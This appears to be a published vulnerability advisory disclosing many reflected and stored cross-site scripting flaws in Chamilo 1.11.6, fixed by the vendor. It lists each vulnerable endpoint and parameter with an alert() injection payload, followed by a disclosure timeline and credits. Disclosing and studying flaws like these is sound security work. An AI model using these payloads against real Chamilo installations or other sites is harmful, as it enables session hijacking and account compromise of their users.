Chamilo 1.11.6 Cross Site Scripting

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Multiple Cross-site Scripting Vulnerabilities in Chamilo 1.11.6  
  
Information  
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Advisory by Netsparker  
Name: Multiple Cross-site Scripting Vulnerabilities in Chamilo 1.11.6  
Affected Software: Chamilo  
Affected Versions: 1.11.6  
Homepage: https://chamilo.org/en/  
Vulnerability: Cross-site Scripting  
Severity: High  
Status: Fixed  
CVSS Score (3.0): 6.3  
Netsparker Advisory Reference: NS-18-027  
  
Technical Details  
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Reflected XSS  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/courses/3/index.php?'"--></style></scRipt><scRipt>alert(0x000791)</scRipt>  
Parameter Name: Query Based  
Parameter Type: Query String  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000791)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/add_courses_to_usergroup.php?'"--></style></scRipt><scRipt>alert(0x000BD5)</scRipt>  
Parameter Name: Query Based  
Parameter Type: Query String  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000BD5)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/add_sessions_to_usergroup.php?'"--></style></scRipt><scRipt>alert(0x016CED)</scRipt>  
Parameter Name: Query Based   
Parameter Type: Query String  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x016CED)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/dashboard_add_users_to_user.php?'"--></style></scRipt><scRipt>alert(0x00173F)</scRipt>  
Parameter Name: Query Based  
Parameter Type: Query String  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00173F)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange=2018-06-01 / 2018-06-22&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=2018-06-01&until=<scRipt>alert(0x01C783)</scRipt>&submit=&course=3&session=3&teacher=3  
Parameter Name: until  
Parameter Type: GET  
Attack Pattern: <scRipt>alert(0x01C783)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange=2018-06-01 / 2018-06-22&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=<scRipt>alert(0x01C746)</scRipt>&until=2018-06-22&submit=&course=3&session=3&teacher=3  
Parameter Name: from  
Parameter Type: GET  
Attack Pattern: <scRipt>alert(0x01C746)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange='+alert(0x01C03C)+'&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=2018-06-01&until=2018-06-22&submit=&course=3&session=3&teacher=3  
Parameter Name: daterange  
Parameter Type: GET  
Attack Pattern: '+alert(0x01C03C)+'  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action=subscribe&category_code=ALL&hidden_links=&pageCurrent=1&pageLength=12&search_term=x'" onmouseover=alert(9) x=&search_course=1&sec_token=c79a672bd683a1c72beff1da5bee3d93  
Parameter Name: search_term  
Parameter Type: POST  
Attack Pattern: x'" onmouseover=alert(9) x=  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/calendar/agenda_js.php??=undefined&title=&content=</textarea><scRipt>alert(0x00E00A)</scRipt>&_qf__form=  
Parameter Name: content  
Parameter Type: GET  
Attack Pattern: %3c%2ftextarea%3e%3cscRipt%3ealert(0x00E00A)%3c%2fscRipt%3e   
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/session/session_add.php?'"--></style></scRipt><scRipt>alert(0x0048B4)</scRipt>   
Parameter Name: Query Based  
Parameter Type: Query String  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0048B4)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/session/session_add.php  
Parameter Name: description  
Parameter Type: POST  
Attack Pattern: </textarea><scRipt>alert(0x01D19F)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/configure_homepage.php?language='" onmouseover=alert(0x01A144)  
Parameter Name: language  
Parameter Type: GET  
Attack Pattern: '"+onmouseover=alert(0x01A144)+  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/languages.php/'onmouseover='alert(0x003EF6)  
Parameter Name: URI-BASED  
Parameter Type: Full URL  
Attack Pattern: /'onmouseover='alert(0x003EF6)  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action='" onmouseover=alert(0x00760F)  
Parameter Name: action  
Parameter Type: GET  
Attack Pattern: '" onmouseover=alert(0x00760F)   
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action=subscribe&category_code=ALL&hidden_links='" onmouseover=alert(0x00105A) &pageCurrent=1&pageLength=12&search_term=&search_course=1&sec_token=c79a672bd683a1c72beff1da5bee3d93  
Parameter Name: hidden_links  
Parameter Type: GET  
Attack Pattern: '" onmouseover=alert(0x00105A)  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action='" onmouseover=alert(0x00030C) &category_code=ALL&hidden_links=http://www.example.com&pageCurrent=1&pageLength=12&search_term=3&search_course=1&sec_token=c5d7298897afeed24b512e25e7cd1047 Parameter Name: action  
Parameter Type: GET  
Attack Pattern: '" onmouseover=alert(0x00030C)  
  
Stored XSS  
  
URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/user_portal.php  
  
Injection URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/course_info/infocours.php?cidReq=1"onmouseover="alert(0x018024)  
Parameter Name: title  
Parameter Type: POST  
Attack Pattern: 1" onmouseover="alert(0x018024)  
  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
  
Advisory Timeline  
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9th July 2018 - First Contact  
28th November 2018 - Vendor Fixed  
4th December 2018 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.  
  
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